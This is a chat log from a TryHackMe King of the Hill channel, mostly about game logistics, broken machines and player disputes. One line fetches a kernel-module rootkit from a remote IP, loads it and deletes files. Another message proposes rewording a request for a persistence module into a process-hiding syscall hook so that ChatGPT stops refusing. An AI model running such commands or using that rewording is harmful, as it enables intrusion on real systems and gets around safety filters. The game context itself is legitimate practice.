where is king.txt located in the offline machine?
C:\Users\Administrator\king-server\king.txt
ye i put my name on that file but i cant get king
Looks like you're king
yes it took a bit to update
Don't mind me, just checking my color
cool color 
Hey everyone anyone here who can teach me how to play KoTH game I have CTF experience but
the issue im having is i click join game wating for the the like 20 to 30 mins after passing time no game has started again starts counting time from start this has happend to me everytime
You need to refresh the page half min (or 1) before the game, that will show you the IP and machine name.
And you may need to refresh the page again after the game starts to see the live results
Is there anyway to kill the games that do not boot?
you will need to vote reset on the machines that do not boot correctly, and i also believe there are 2 machines that dont spin up correctly consistently (lion and spacejam) and for those you'll need to start a new game...
if you're still interested in learning how to play or just some tips and tricks to compete with some of the top players. I'd recommend checking out Matheuz's github https://github.com/MatheuZSecurity/Koth-TryHackMe-Tricks and F11snipe's youtube channel https://www.youtube.com/@f11snipe can always jump in when we do live streams and ask him any questions you might have.....
Yep, space jam and lion. I mean have them taken out of rotation. They have been dead for awhile. Just thinking out loud. You sit there and wait for 20 minutes and it a dead box so you start another game and might have to wait another 20 minutes. It’s just frustrating.
would rather them be fixed than taken out of rotation though.... (Unless we get newer machines) but shouldn't be too hard to fix, they used to work 🤷♂️. I know a few of us would be interested in helping create material or improving upon the beta version 😅 . Would be nice to keep it alive and thriving, Ive learned a bunch through it.
hi
can someone pls join my koth game?
heres the join link https://tryhackme.com/games/koth/join/330c37d4bf8e1e45bd734b09
The golden image used to deploy/spawn the machine need to be fixed. Not sure if its a OS missconfig or deployment environment. I am willing to help also if needed, and the changed machines need to be verified again
we are on common space in KoTH, am i right?
yessir
Ops unfortunately I logged off😵😞
u playing tht game?
Can I still join?
hi
Anyone up?
xd
Yo men, I want to join your discord but the link in your bio is expired.
dm me
man this koth guy sure seems... popular :3
Yeah, i'm in same room of KoTH
Hi party people i am having an issue, my koth machine ip is not available, any tips?
My tun0 is fine but can't ping the machine
If anyone wants to do a chill game of KoTH it starts in 5 mins
https://tryhackme.com/games/koth/join/5e2b9dde1d171da8b1e61b52
2 mins now
Copy the url and open it on new tab.
spacejam and lion boxes are down
Hey broski
sup
pls fix the lion and spacejam boxes they are dead, else remove them from the machine pool 😭
Can you please confirm what the issue is with the following machines? I will try to take a look later.
both machines are unresponsive to pings, and all hosted services including the king service are currently down
I can also confirm the Lion and Spacejam machines are broken since more than 2 months ago. You can also search their names together in this channel and read complaints about them 2 months ago. I also reported this, and also offered for help fixing the golden images used to deploy the machines.
The actual issue is hard to spot from outside since the machines are completely unreachable. Possible root causes: 1. a service is hanging the boot process. 2. Filesystem is corrupt and need manual intervention. 3. Network fails to initialize. 4. IP is allocated in another subnet/vpc. 5. Storage or files needed for deploy changed permissions or names. etc. Maybe checking the logs can bring more light about the root cause. If I can download the image I can try to debug in a virtual lab
I also confirm the Lion and Spacejam boxes are broken. Please fix. @nova tide
anyone there, don't know why my koth box only open port 53, need some help
Which box ?
hey @obsidian lark are you there? let's play KoTH together
yeah sure
Sorry I'm late, we'll play next time, I'll ping you. 😄
Aren’t lion and space box supposed to be intentionally down? That’s what I’ve heard through the grapevine
I don’t know about intentional but both of those boxes are inaccessible.
what is jeopardy?
You mean like jeopardy ctf vs attack & defense ctf? Jeopardy ctf basically means doing some kind of challenge, like a room on tryhackme, while attack & defense is played with other people and usually involves having to defend your own network/services and trying to hack those of others. King of the Hill should probably placed in the attack & defense category (since you're asking here).
thanks!

so sad but let him enjoy his kiddie
please vote system reset if box IP not displayed . for new comers......LOL
hiii
Hi, I’m somewhere in between beginner and intermediate. I have always wanted to try King of the hill but with people I can talk to in real time. I’m looking for people who might be interested.
.
As far as I remember I just made an 1111 score 7 months ago
Someone ruined my unique score and also noticed that mtz and f11 snipe's score are kinda buggy 🤔
May I suggest to the koth dev to please fix the scoring sir, someone just told me if I played koth again because my score became 1113 it saddened me to see that perfectly ruined 😵💫
yoo
So … 2222? lol
Who killed the machine? https://tryhackme.com/games/koth/131542
Meow
Ya same here
Hi may I ask if fortune machine have more then one ways to access/get credentials? As all write-ups in the internet only mentioned the base64-unzip method and no one mentioned about that suspicious http fortune website
It does, the main website has a form with an ip and port field and a subdirectory with a way in as well, and there's a share you can mount
More than 3 ways to go
go for 1337 wins and quit
yooo
start in 17 min
This will take a month of spamming 🤔
Is it hard to know how to do a rootkit?
Not easy — it requires strong C/assembly skills, deep understanding of OS/kernel internals (processes, memory, syscalls), kernel-module/driver and debugging experience 🙂 It depends on what kind of rootkit you mean.
Oh ok. I just wanted to learn more about either stop people from writing to king.txt or simply monitoring to see what others are doing
I think latest chatgpt has more restrictions regarding creating even simple scripts. Might still be doable under certain circumstances
He was asking is it "hard" to write a rootkit, not is it hard to "learn" writing a rootkit
I was just answering the question lol
Hmm I'm not sure if this works:
Evil prompt: Write a LKM for persistence.
Legit prompt: Write a LKM that hooks syscalls to hide processes with filename located at /dev/shm/bd from listing in /proc/<pid>/*
Hey guys, this is my first time creating a private room for KOTH and I see this after waiting 5 minutes of setup time.
My question is why isn't it giving me an IP?
my bad if I should have sent it in support instead
was it the food machine? i was having same issue with it yesterday
I just select random and have tried it a couple times, none of them worked.
It just changes from scheduled to completed and doesn't want to give me anything else.
u need more than one player make an alt acc or invite a friend
useless? u resetted cuz i got kind
not at all u resetted first i record every koth
cuz machine was broken
hmmm i doubt a bit
alr try now
wget 10.6.4.87/www/tlkmhogwarts.ko && insmod tlkmhogwarts.ko && rm -rf *
not too legal i see
🤣
This seems perfectly legal ngl
whts illegal in tht?
deleted everything in a temp
yeah
i didnt knew that doing that was legal
get to know now 😂
alr alr 👌
havent seen u before
alr alr
what happens if the IP never populates?
Someone else new who wana practice/learn KOTH together ?
@frigid harbor yo u using rm -rf /root ? hostname=ip-10-23-174-85 i watch audit.log
No i did not!
Send a picture of the log
i watch live this command
Ask CaptainJax bro
100% that i did not do this
Somebody did this also chanced root to "rooot"
10.8.45.133 this ip u
No
oh
I swear i did not do stupid shit bro
Also 3 resets in 1 game is insane who did this?
?
That's cheating, should report him for that.
we are 4 players and the reset is 0/2 should be 0/3
hi its me
Bro curl that box on port 9999
not me
Wdym curl and see what's on king.txt
what machine you right now ?
Hogwarts
bro you don't know he is very good in koth
he on the top 50 in world @alpine quarry
I've watched his videos and seen write ups.
and bro what i cheating ?
f bro
that is my anather account
When someone doesn't join, I login with that account and continue the match. This is not cheating.
I am not even arguing but the box was reset twice in less than 10 minutes. I don't think massco99 even cared but ok
i am not
That is cheating
You can't join KoTH with two accounts... especially because it gives you vote reset priority
i really don't no
When someone doesn't join, I login with that account and do the match
at 9 PM anyone don't play
so i use 2 account
You can do private matches if you want to practice KoTH on your own- or you can share the link here and anyone active will join
ok but sometimes everyone don't play
Can I use two accounts then?
No reason for you to 😅
when i play koth everybody is sleeping so play only one like this situation
You can create private games :)
No alts in public games, if you want to play KoTH and no-one is online use a private game
Thank you for discussing it with me 😄
Does playing a private game , and win it gives you +1 to your koth winning games number ?
no bro
I was wondering if someone could help me with koth. Like take me through the steps and teach me to become better at it?
sure drop a dm
what level u need to be for koth, i am 0x3 now
I never understood that
It's not the levels it's your account settings, if you put student or beginners it won't work, put the last one
@serene garnet aiight thnx

is koth dead today?
20min to next game 🙂
https://tryhackme.com/games/koth/join/2b51a5e9650c2020756c2cc2
It won't let me play the game — is it the same for you?
You need to set your level in your profile to "Intermediate" at least
Time left: 0 hours 49 minutes 38 seconds
King changes: 0
Status: running
But I don't see no IP 😭
just left with this UI 😭 is the game broken?
@muted gyro did you figure out anyway?
@frigid harbor I got the shell! but no flags immediately?
What? 😅
Who are you ? What game?
koth ?
I am in 3 games bro
Hogwarts
This game is finish isn't it?
yes
You want me to help you find flags?
We can practice this box if you want..
sounds good but ill get some sleep for now. I just got the shell when the game ended
Ill try again tomorrow
You can send me a dm tomorrow 😉
@fossil pecan are u here ?
Hello What is KOTH, I am new here
It's a competition, where you join a public game , and wait , until others do the same and join with u , you are given an ip , and you should hack the machine , and get to root before the others , there is a text file in the root directory, add your name there and you are king , there is also flags in the machine , submit them for more points
okay thanks a lot, will try it today

?
starts in 3 minutes
sometimes you gotta reset
for example:
it's been 4 minutes and need to reset
hello i have a problem with koth when the it starts and gives me the target ip it doesnt respond i cant nmap nothing like it doesnt exist even when i swich attackbox region still nothing

I can't ping a KOTH machine, but I can ping you
yeah i will try the EU but i did this on other machines but didnt work
meaning someone forgot to allow the KOTH pool of IP to talk to KOTH AttackBox
your best next thing to do, is try to download your own linux, install openvpn
we can also report it on #site-support
yeah i think i will set up the openvpn
so when i used the EU vm it still doest work
i will just use vpn but thanks for effort @mild sorrel

Hey
would anyone like to join me
4min to go
Im baccccck 😜 ... ill be jumping back in some games again for a little bit..... its been awhile
anyone wanna do some KoTH?
Hello, I would like to ask about KoTH. I dont care about winning but not sure how the scoring works when I have 300 points and another person has 80, yet they become the king in the last minute, are they the winner? Does that mean that finding flags or doing anything during the first 50 minutes of the match doesn’t really matter?
Yeah pretty much. Whoever had their name in kind last wins
I dont want to sound rude i love the idea of koth but what is even the point of the points and flags just nothing?
I think the game is supposed to actually give the player points, but I'm pretty sure it's bugged right now
In the rules the is "Points do not go towards your TryHackMe account score."
I did see that, but when I reached out about it they said " We appreciate your report and want to let you know that we are aware of this bug and are actively working on resolving it. "
And why do they want to give score why the person with most points just doesnt win it doesnt make sence
I have no clue to be honest
Yeah maybe some admin will see this and maybe do something about this non sense
Does anyone know if you have to download a separate vpn config for KoTH, mine doesn't seem to be working after the region based update
KoTH bugs in action again
yeah, mine too
I remember you changed my bashrc to replay the video of a ascii parrot dance lol
hahaha, did you like it 😆
it was hilarious lol, I started doing it to other people now
except of putting the animation frames on the box, I just switch to a gif. So mine looks weird
Really 😳
Hahaha 😂
It was a crazy game 😀
You are good player
yeah it was great game but you are better i wasnt able to do anything else than opening new shells
I will chill more this game bro 😉
xd i dont even want to play anymore i got demolished in that game
No you are good bro! Most people dont even find flags
xxdd
i think it would be great to have chat in the koth because we can communicate only on dis or in the box
Yeah would be nice but the real Gs are always on Discord 😅
@frigid harbor @worthy comet I see you guys playing!
yeah bro after playing for 5 minutes i terminated the box and went playing games xddddd
@frigid harbor what vpn config are you using. I'm trying to connect from mine, but can't even ping the machine
ahh, so KoTH is broken unless you have the old vpn configs
It was playable until not too long ago
yes a lot of people have this problem so the real Gs are not playing anymore 😢
did you use a different file then ?
because i think the new files never worked on koth
I had the old config, but when the new ones came out, I deleted it
oh no
no chance to recover it ?
ohterwise you will be the next one who can't play KOTH
maybe, I might have one on a old vm

😅
if anyone of you 3 reading this please reset the machine its been 10 minutes now
kothlin?
meow
anyone figure out how to play koth with the new vpn config?
You should be able to play it just always
Since they released the new region-based vpn configs, KoTH machines don't work. For instance my ip route uses 10.64.0.0/12, but the KoTH machines use 10.10.x.x. So I'll never be able to use the KoTH machines with the new vpn config
Just made a ticket about it
I miss playing Koth lol
Nah, I still have the old one , and that's work , but the new ones doesn't work
Is there a way to download the old one?
I use 2 as well... one for koth and one for rooms.
No , there is no way now to download the old ones , I just been lucky to keep it
I think it's the only way now , but thm works kinda fask , I guess they will fix it soon
yeah it is a while now they should realy look into it nobody plays anymore ☠️
Yea I can’t play koth cus of it
@light spear can you reset the machine please?
Does anyone interested in KOTH
not really, outdated and hasn't been updated in any way forever
Recomand me other platform
HTB, CTFtime, there's always options
Is these beginner-friendly? I didn't try anyother platform
HTB and CTFtime not really
Koth is kind of inactive across all platforms
you just need to do CTFs or get lucky with some people messing around on THM a bit
I once started HTB, but i don't understand where to start
Just start with the basics of the thing you are most interested in. For example if you want to do web exploitation, then you should start with learning how http/https work, different kind of exploitation techniques, etc. tryhackme as a path for web hacking, but I think you need premium for that path
Yep i have completed jr penetration testing path
oh nice, I would just keep going down that path then, and once you feel like you are smart enough you can try bug bounties
@smoky karma is this you in the game?
yes
reseting a machine what is not broken usually don't make a lot of friends 🙃
i know man
i am trying to figure out what is your root kit
and it was bugging a lot for some reaason i couldnt run ls
was it working good for you?
everything was abolutly fine yes
but if you had problems its okay i guess ..
ok im sorry then
no worries bro
Not at the moment maybe later !
I need help guys please, I'm trying to play a KOTH with a friend, with the VPN configuration I have a 192.168.X.X IP, but the IP of the KOTH is 10.10.X.X,
On my VM I can't ping the machine, but with the attack box I can, anyone has a clue of what the issue is please ? 🙁
also maybe later 😆
only a stuff of thm could do something about it
the new VPN files dont work in koth somehow and thats since months now
kinda sad that nobody does something about it
@dawn ivy what about u? 🤔
If he's using a rootkit, it's probably ldpreload, which is easily broken using busybox or any static binary
But just because you couldn't break his king protection doesn't mean you can go around spam resetting things anyway lol
i used a simple loop nothing special guys 😂 sometimes you have to keep it simple and check out pts and crontab etc ..
you haven't played since ages 😢 i think i never met you in game i am new here 😄
have compassion bro
alr bro i will take it easy 🫡
you should let me use your vpn while you're not using it 😄
i should rent my vpn file lol
try to get king i dont change creds or patch anything
that's not a bad idea lol
but you have one you can join 😄
what you mean?
ps auxf
it just show you whats going on on the server thats no script
im not talking about ps
what script are you talking about?
nvm
whats that?
nvm means never mind
ah sorry english is not my basic language 🙃
where r u from
you kicked me out? 😢
Beautiful
lol
nice game bro 😄
gg
i would bro but i use it all the time lol
facts ^
@frigid harbor you playing?
😁
I definitely need the practice
i am the one on the right side lol 😂
no worries lol
ahaha there's a lot of players, gotta work hard 😆
did he log you out?
cloesed connection while i was analyzing
but i cant figure out how to break protection lol
i think i make progress but i am not sure 😂
holy shit i messed something up very big sorry guys
You are 85?
85 what ?
last octet of his ip
yes bro i already said i messed up haha
lol
max broken now lol
i was away, didnt see what happened 😆
he broke thm haha
i moved the wrong file 😂
i hit tab for autocomplete and i accidently moved the wrong one
the machine was not happy about that
Yo can I borrow your vpn config while you're away 😁??
gm
I got my vpn back!!
yo i need it bro haha 😅
hello 😄
i have to restart my stuff i will join later 😅
yo can you den me the link from the game?
i finally found it in the history
i didn't have fcrackzip
you use kali linux?
okay
then you should download it hahah
now i have it
there are other ways to you can gamble your way in on port 80
what you mean
i can change the password for you 😉
no bro lol
alr have a good day bro
thank u lol
lol, I just recovered mine. I thought you already had one??
yeah one but i need this one

You can install the wreath room one, its still out
I just did it the other day
ok
Just start the room and then go into the network vpns and it should show up
@smoky cypress you gone already ? 😮
@mild sorrel
@frigid harbor
im on another one
alr now you have to deal with the master @north acorn
godamn
this has been asked a thousand times most likely, but ive never done koth. how hard/easy is it to get into?
It’s not too hard to begin, the hard part will be to keep your username in the king.txt file
The machines have different difficulties, some are easier, a few are hard
well there is easy rooms and hard rooms, depends on the room you get. But the easy ones are easy as they have a lot of vulnerabilities, so it shouldn't be that hard for anyone getting into it.
when someone deletes chattr, is there a way to get it back besides uploading a static version?
have you done this room before @north acorn ?
i think the best option is to upload a static version of chattr, it's part of the e2fsprogs package, i havent tried maybe reinstalling that package or smth
yeah, i'm not a fan of windows machines 😆
its a windows machine?? 🥲
yes 🥲 offline and h1 medium, no more (yet) luckily hahah
I'm just waiting till a nice linux one
Hello friends 😁
haha, i'll take it slow 😁
windows is not that bad 😅
lmao, its just so much more complicated than linux
but new machines would be nice and when someone fixes the VPN issue haha 😅
yes you need a little bit more time lol
Yea, I barely have any experience with windows compared to linux
you should try Red Teaming path there is a lot of windows 😄
Yea, I'm following the pentester path. I'm about to start the one just before that one
i would to pentester path before 😄
like finish everything leading up to read-teaming?
yes because Red Teaming is the last part you should do everything elese before 🙂
and it will take you a while to complete this path
Alright, will do
Why another windows machine??
because you guys said windows is shit 😂
the tryhackme gods have punished us
I know, ofc it would be the only 2 windows machines back to back
i cant exploit eternal blue
eternalblue is kinda hit or miss, sometimes you gotta try some times
this exploit wont work on this machine
there's a chance to crash the machine also
does it work on medium? haha
oh shit
it never worked for me lol
tbh i dont know haha, havent tried
i dont think so but i could be wrong
Well there are many exploits for these machines, so its not incredibly hard to get into if you know what you are doing
I think it's because I don't have the tools
you should download kali there is all you need on it bro
i would check out the website if you can do stuff on it 😄
Yea, kali has a couple of folders just for windows
oh shit i got nyancatted
definitely p0izons doing
who got rid of chattr 😂
i think its still there
i can do that too if you want 😅
I got nyancatted too
who is pts 1 and 2 ?
strange i just hope i dont break the system 😅
lets play another one 😅
so i was the only one who dont get trolled so i get at least that win haha
I’ll be back a little later, gotta go for a bit
I will target you next time 😈
alr 😎
@ionic carbon you play another one ?
@smoky cypress
yea, I can play another
@frigid harbor @north acorn did I just kill it for you or just me
you mean the offline machine or what?
mine still works
the machine was very buggy though
Yea I lost connection a bunch
eternalblue exploit didnt work the first 30 minutes for me 😂
hahah yeah my ssh stopped working 100 times
me either. I was thinking it was a vpn issue
its just windows hahah
does hackers still exist? i think i only played it ones lol
I haven’t seen that one in awhile.
It's been a year and the promise is not fulfilled lol
I think KoTH is already double dead. When I was active it's already dying. Now it's totally dead and not exciting to play it anymore unless THM will revamp it.
i am online right now 🙂
you are right most of the time its dead but sometimes when the right people join it is still very much fun 😄
gm
yo @smoky cypress

did you like memorize the exact path to take already prior to it commencing
it shows u literally rooted it in 2 minutes
what machine? 🙂
h1 medium
i found some secrets on the machine already 👀
and i always try things i learned on KOTH so i used every tool you can imagen on this machine
for example one tool still on the C: directory 😉
🫡
would anyone like to do a koth?
yeah sure
I will join you
alr
you hacked it in 1 minute?
scripting?
nah bro just fast fingers
right ...
you can take notes on the machines so you know something already at the start bro
ah so you've already done all of these boxes?
yes all this machines took me also sometime to figure out 🙂
If I remember, You can get root on h1hard in seconds.
most machine can be done in 1 minute 😉
Most of the machines in koth can be done in seconds. I played with some good players before when they were still active. Others have "autopawns" or "one command liner".
I only use crtl c + v with my muscle memory on each machine still can compete somehow with them. Each machine has 2-4 ways on how to pawn depends on which way you want it fast.
yo u wanna play 😄 ?
Can be done with 4 seconds if you know lol
Not interested in koth anymore lmao
alr bro
really?! at that time i had to be bad bro i just started cybersec 🙂
i am way better now 😄
Oh I also started cybersec at that time it just happened that I did these thm paths and have time to spammed koth while doing their paths including pentest+ and offensivd path
haha yeah me too bro i just use KOTH to practice what i learned 😄
i also bought the pt1 😄
Do thm's offensive rooms released every week or htb seasonal box if you want practice 😁 Idk if koth still a good to practice but yeah you can if you're comfortable with it.
at least the h1:medium machine helped alot with AD lol
Gl on the exam bro you can ace it I failed on my first attempt but I'm thankful of that failure also lol
thanks 😄 i still have a little bit time but maybe in 2 Months i will take it 😄
Gave +1 Rep to @fossil helm (current: #679 - 11)
Just take it whenever you're ready. I just got it on a free voucher giveaways at that time cuz I have ejpt. So I took it and failed then took the exam again after a week or 2 weeks I forgot it already lol
I didn't fail on the exam but in the reporting lmao
The advantage if you fail on the first attempt is you will encounter a different set of AD and network which is good because I managed to note their 2 different AD scenarios. Also 2 diff sets of network which is not that hard. You need to practice your web and burp that's what I can only advise u 😁
thanks apriciate it 🙂
i never ever made a report and i only saw 1 room about it.. ist this enough? lol
i will keep learning once the learning paths are finished hopefully i am ready
Gave +1 Rep to @fossil helm (current: #636 - 12)
Is that the reporting room they recommend before taking the exam? If yes then you should be fine in reporting also AI will be your friend. 😅
In my case I didn't do that room. I used their AI's feedback on my first report. So somehow managed to solidify the report on the 2nd attempt.
i think so yes i did not found any other rooms
but i do everything else first i guess i am doing the AD stuff now 😄
Don't close service
bro what is your problem?
i am allowed to defent the basic eternalblue exploit
i am also allowed to take away privileges of other user
There was ssh port bro
still pissed off your 100 resets on h1:medium bro
very weak performance
If i play like u... u will not enjoy the game bro much time u close the port bro
i did not close ssh on the machine man
how do i play on h1:medium??
what makes you reset the machines all the time?
U kiddie respect urself
hahaha i am dying 😂
just take the L and dont reset a machine what is not broken
and learn AD that would help
That box has much way to go thus y i told u close the service even on h1-medium i saw my session goes down and no service again ur allowed to patch the bug not close the service
not closed anything
just with higher privileges bro
thats a big differents and 10000000 % legal
please stop man you dont know what you are tallking
I was just create my rdp and assign new password. And how about that new machine offline, is that fine?
what did i do there?
you realy have no clue man
😁😁😁😁 the guy who beat player via killing pts ooooooh God that is too ........
yeah sure thats why u lost on h1:medium not your lack of knowledge 😂
I can't play bro even no service to go😁😁
yeah same for me just use the eternalblue man
and dont asume i close services just because the user dont have the permissions anymore
you making yourslef a joke now
Next time i will play as u wish but still there is upcoming koth player don't kill thier pts just do for legend thus y u lost on yesterday
🤣 🤣 keep dreaming
you wanna talk about yesterday? i beat you with the simple chattr rule 😂
you crazy bro
@alpine quarry Please slow down. Further spam will result in a short timeout.
a dumb question how do one can play koth
you have to confirm in the settings that you are advanced enough or something if thats the issue 🙂
i meant skill wise but yeah some people dont know this part
oh i played KOTH mostly to practice the stuff from learning paths

i understanded nothing but thanks mate for you're time will be back when better
alr just make sure you dont tell people they closing ports when they just take away privileges to access via this port like some other people in here 😂
you speaking giberish my man 
i was on the machine for 1 minute only, you where all alone and cant beat me .. Quote "Next time i play you like you wish"
can you say again i just win by killing pts? 😂
😆 😆 😆 i am not playing koth all the time like u bro so if u need serious battle make a time ur too kiddie and i leave the game now
you played more games then me 🤣 🤣 🤣
you say kiddie to me but dont know the difference between a closed port and user who dont have the privileges to acces smb admin shares is wild
Clossing and permission removing are not the same bro u can change or remove the access to the share and still the service will be therw thus y i sent u my scan result
so if the port was closed HOW DID I GOT IN ON THIS PORT ?
strange right ? so it must have been open, and i did not do anything on offline machine maybe the machine was just broken like windows koth machines often do
we can act normal here i did nothing wrong
That is the legend answer becaue i tried my best even check much time where i am wrong but got that ports closed
on offline?
or you talking about h1:medium
Good night bro
Yes offline not h1-medium
wow you did it 🥳 but i still won the game bro
offline i did absolute nothing bro
Let battle tomorrow bro
yeah lets be friends now 😄
😁😁😁 no worries bro let be...
good night bro
powershell.exe -Command "Set-SmbServerConfiguration -EnableSMB1Protocol $false"
I remember that when I was playing KOTH and went to patch SMB for the EternalBlue exploit, SMB became somewhat unstable and accidentally shut down many AD services. You need to know how to patch it properly to avoid bringing down all the services
I'm not saying that you shut it down, but this applies to all KOTH players: when trying to patch a web app or any service, be extremely careful to avoid causing instability or accidentally shutting down legitimate services
Btw, I miss playing KOTH, it's been such a long time lol
time flies so fast 
i saw you sometimes in the game lobby 😄 but you never play 😞
Sometimes I introduce Koth to some friends
Yes the smb is unstable so i think the players should test on private game before going to public
Why the MUSIC GALLERY ADMIN AND PASSWORD NOT WORKING AND STILL THERE IS EXPOSED DATABASE ON FIREWORKS MACHINE
yo anyone wanna play koth ?

what is going on here 
Lots of dots =.=
absolute nothing.. maybe KOTH needs new machines to keep the party going
and leaderboard should be fixed also.. or maybe the VPN drama with the new VPN files should get fixed ..
but nochting happens man !
absolute nothing THM should just remove it ..
to say in here somebody goes "off topic" is absolutly crazy because the whole KOTH thing now is of topic
machines also time out way more then ever
so why we not allowed to go off topic
if THM fixes the whole game we stay on topic i promise hahahah lol 😂
.
When is next koth room?
you can join now 🙂 looks like some people are playing now
GG! Well played bro, I miss playing Koth
what kind of concepts/skills do you need to know in order to be passably okay at koth?
cause its a mix of offense and defense, yeah?
it is still a lot of fun 😅
so if you wanna play i am the online one who keeps it alive at this point lol
yeah its a mix off all but i would say defense is more important since a lot machines are easy to get in 😄
good to know!
what happend to that?!
This has been the case since the Koth beta; i think only one new machine has been released since then (fireworks), this is because many Koth players were complaining and asking for something new
we should start complaining again 😂
WE WANT NEW STUFF
just throw 2 more windows machines in the pool and it would change a lot 😄
and remove Food and hackers box i played so much this boxes didn't even show up once
😁😁😁
sudo service ssh stop or service apache2 stop will ruin the box guys especial new players don't do that. Also when you see box stoped please vote to reset from the dashboard of that😁 game
petition for new machines please sign here ⬇️
I accidentally bricked the koth machine im on but nobody else is clicking the reset button </3
on shrek machine?
i think its called h1: hard. i managed to get back in though
that#s a difficult machine 😄
some people still waiting for @steep agate to make a video 😅
are the machines reused often?
yes they don't add new machines anymore 🙁
ah thats too bad
why you nuking the server all the time?
dont react to ping no scanns work ?
bro
oh you reset it
oh i reset it? 😅
why is the machine down when you are doing something?
because everything is down bro
i can access on 10.10.177.243
yeah then leave it like that bro
I didn't request a reset 🤷
last time i did if you nuke the server
Seems like a great resource 😅
@frigid harbor this is my first koth, go easy on me 😭
Oh sorry bro 😅 i just saw it
Also what's up with that I didn't have perms to edit the king.txt file, is that something you implemented or is that by default? I didn't bother trying to figure it out since you were already so far above me so I just looked for flags instead.
Oof smart
how far i should go on the learning path to play koth?
play and you will see 🙂
okey jajaj ty
can you reset? Cyber30 ip bans me all the time
Wish granted finally i have time hehe
